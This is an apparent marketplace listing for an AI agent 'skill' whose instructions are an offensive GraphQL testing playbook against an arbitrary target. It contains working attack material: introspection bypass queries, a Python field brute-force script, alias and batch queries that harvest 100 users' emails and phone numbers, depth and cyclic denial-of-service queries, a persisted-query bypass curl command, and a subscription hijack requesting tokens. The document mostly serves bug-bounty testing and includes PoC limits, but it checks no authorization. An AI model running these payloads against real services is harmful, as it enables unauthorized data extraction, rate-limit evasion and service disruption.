Graphql Test logo

Graphql Test

Community
jinyimeng01
graphql-test

GraphQL API security testing v2. Coverage: introspection bypass (6 techniques), clairvoyance field brute-force, alias-based rate limit bypass, batch query IDOR, depth/cyclic query DoS, persisted queries bypass, field suggestion leak, and subscription hijacking.

Overview

Publisherjinyimeng01
Repositorymastermind-bug-bounty
Skill namegraphql-test
Stars
60
Forks
5
Bundled files
Instructions only
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by jinyimeng01 on GitHub. Read the source before you install it.

Installation

Install the Graphql Test AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/jinyimeng01/mastermind-bug-bounty/tree/main/skills/graphql_test
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/jinyimeng01/mastermind-bug-bounty.git /tmp/mastermind-bug-bounty
mkdir -p .claude/skills
cp -r /tmp/mastermind-bug-bounty/skills/graphql_test .claude/skills/graphql-test
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Graphql Test in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Graphql Test on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Graphql Test is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

GraphQL Testing v2 — Deep Coverage

0. Detection

bash
# Common endpoints
/graphql /graphiql /gql /v1/graphql /api/graphql
/query /playground /graphql/console /graphql-explorer

# Quick confirmation
curl POST https://{target}/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}'
# → {"data":{"__typename":"Query"}} = GraphQL confirmed

# Check for GET support (easier to exploit)
curl "https://{target}/graphql?query=%7B__typename%7D"

1. Introspection — 6 Bypass Techniques

Technique 1: Standard

graphql
{ __schema { types { name fields { name type { name kind ofType { name } } } } } }

Technique 2: Proxied via __typename

graphql
fragment FullType on __Type {
  kind name description
  fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } }
  inputFields { ...InputValue }
}
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name } } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } } }

Technique 3: Per-Type Probing (if full introspection blocked)

graphql
{ __type(name: "User") { name fields { name type { name kind } } } }
{ __type(name: "Query") { name fields { name args { name type { name } } } } }

Enumerate common type names: User, Query, Mutation, Post, Comment, Order, Product, Account, Profile, Token, AuthPayload, Node, Edge, Connection, PageInfo.

Technique 4: Field Suggestions (error-based)

graphql
{ user { THIS_DOES_NOT_EXIST } }
# Response: "Cannot query field 'THIS_DOES_NOT_EXIST' on type 'User'.
#            Did you mean 'email', 'username', or 'phone'?"
# → Field names leaked through error suggestions!

Technique 5: Fragment-based Field Discovery

graphql
query { ... on Query { __typename } }
query { user(id: 1) { ... on User { __typename } } }

Technique 6: Directives Probing

graphql
{ user(id: 1) { id @skip(if: true) email } }
{ user(id: 1) { id @include(if: false) email } }

2. Clairvoyance — Field Brute-force (Introspection Disabled)

When introspection is completely blocked, brute-force field names using common patterns + error-based suggestions:

python
import requests

ENDPOINT = "https://{target}/graphql"
COMMON_FIELDS = [
    "id", "name", "email", "username", "password", "phone", "role",
    "token", "apiKey", "secret", "createdAt", "updatedAt", "isAdmin",
    "isActive", "verified", "balance", "credit", "organization",
    "posts", "comments", "orders", "profile", "settings",
    "firstName", "lastName", "avatar", "bio", "address", "city",
    "country", "zipCode", "birthDate", "gender", "subscription",
]

COMMON_QUERIES = [
    "user", "users", "me", "viewer", "currentUser", "account",
    "post", "posts", "comment", "comments", "order", "orders",
    "product", "products", "node", "search",
]

def brute_force_fields(target_type, query_root):
    found = []
    headers = {"Content-Type": "application/json"}
    
    for field in COMMON_FIELDS:
        payload = f"{{ {query_root} {{ {field} }} }}"
        resp = requests.post(ENDPOINT,
            headers=headers,
            json={"query": payload})
        
        if "Cannot query field" not in resp.text:
            found.append(field)
            print(f"[FOUND] {target_type}.{field}")
    
    return found

# For each discovered type, brute force its fields
for q in COMMON_QUERIES:
    brute_force_fields(q, q)

3. Alias-Based Rate Limit Bypass

graphql
# Instead of 100 separate requests (rate-limited):
query {
  u1: user(id: 1) { id email }
  u2: user(id: 2) { id email }
  u3: user(id: 3) { id email }
  # ... up to 100+
  u100: user(id: 100) { id email }
}
# → ONE request, 100 users' data. Bypasses per-minute rate limiting.

4. Batch Query IDOR

python
# Send an ARRAY of queries in ONE HTTP request
import json

batch = []
for uid in range(1, 101):
    batch.append({
        "query": f"query {{ user(id: {uid}) {{ id email phone }} }}"
    })

resp = requests.post(
    "https://{target}/graphql",
    headers={"Content-Type": "application/json"},
    json=batch,
)

# Response: array of 100 responses → extract all user data

5. Deep/Cyclic Query DoS

Depth Attack

graphql
query DeepAttack {
  users {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                posts {
                  comments {
                    author { id name }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Cyclic Attack (Circular References)

graphql
query CycleAttack {
  node(id: "1") {
    ...A
  }
}
fragment A on Node {
  ... on User { friends { ...A } }
  ... on Post { author { ...A } }
}

6. Persisted Queries Bypass

bash
# Some GraphQL servers use persisted queries (APQ):
# Client sends hash, server looks up pre-registered query.
# Bypass: send hash + query body together.

curl POST https://{target}/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "extensions": {
      "persistedQuery": {
        "version": 1,
        "sha256Hash": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
      }
    },
    "query": "{ __schema { types { name } } }"
  }'
# If APQ not enforced, the fallback query IS executed → introspection leak!

7. Subscription Hijacking

graphql
# GraphQL subscriptions over WebSocket
# Test: subscribe to events you shouldn't have access to

# Connect via WebSocket:
wss://{target}/graphql

# Send subscription initiation:
{"type": "connection_init", "payload": {}}
{"type": "start", "id": "1",
 "payload": {"query": "subscription { userUpdated { id email token } }"}}

# If you receive updates → subscription auth bypass

8. Automated Test Sequence

python
# Full GraphQL test checklist

def test_graphql(target):
    endpoint = find_endpoint(target)  # /graphql, /gql, etc.
    
    # 1. Confirmation
    assert graphql_typename(endpoint)
    
    # 2. Introspection (6 techniques)
    schema = try_introspection(endpoint)
    if not schema:
        schema = try_per_type(endpoint)
    if not schema:
        schema = try_clairvoyance(endpoint)
    
    # 3. If schema obtained:
    sensitive_fields = find_sensitive(schema)  # password, token, apiKey
    id_fields = find_id_fields(schema)         # user(id:), post(id:)
    
    # 4. IDOR test
    for field in id_fields:
        test_idor(endpoint, field, sensitive_fields)
    
    # 5. Over-fetching
    test_depth(endpoint, max_depth=8)
    
    # 6. Alias rate limit bypass
    test_alias_bypass(endpoint, id_fields)
    
    # 7. Batch query abuse
    test_batching(endpoint)
    
    # 8. Subscription test (if WebSocket)
    test_subscription(endpoint)

9. Output

findings/
└── graphql/
    ├── _schema.json               # Full GraphQL schema (if obtained)
    ├── _sensitive_fields.json    # Fields containing PII/tokens
    ├── _idor_results.json        # IDOR test results
    ├── _alias_bypass.json        # Alias-based rate limit bypass results
    └── _subscription_test.json   # Subscription auth bypass results

10. Rules

⛔ Never extract more than 5 users' data for PoC
⛔ Depth attacks: start shallow, increase gradually
⛔ Batching: test with 10 first, not 1000
⛔ Subscriptions: use your own test account events

Frequently asked questions

What does the Graphql Test AI skill do?

GraphQL API security testing v2. Coverage: introspection bypass (6 techniques), clairvoyance field brute-force, alias-based rate limit bypass, batch query IDOR, depth/cyclic query DoS, persisted queries bypass, field suggestion leak, and subscription hijacking.

Why use Graphql Test on TypingMind?

Because you install it once and use it with any model. Graphql Test is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Graphql Test in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/jinyimeng01/mastermind-bug-bounty/tree/main/skills/graphql_test. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Graphql Test?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Graphql Test?

As many as you like. As long as a model supports skills, you can use Graphql Test with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Graphql Test AI skill free?

It is published on GitHub by jinyimeng01. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇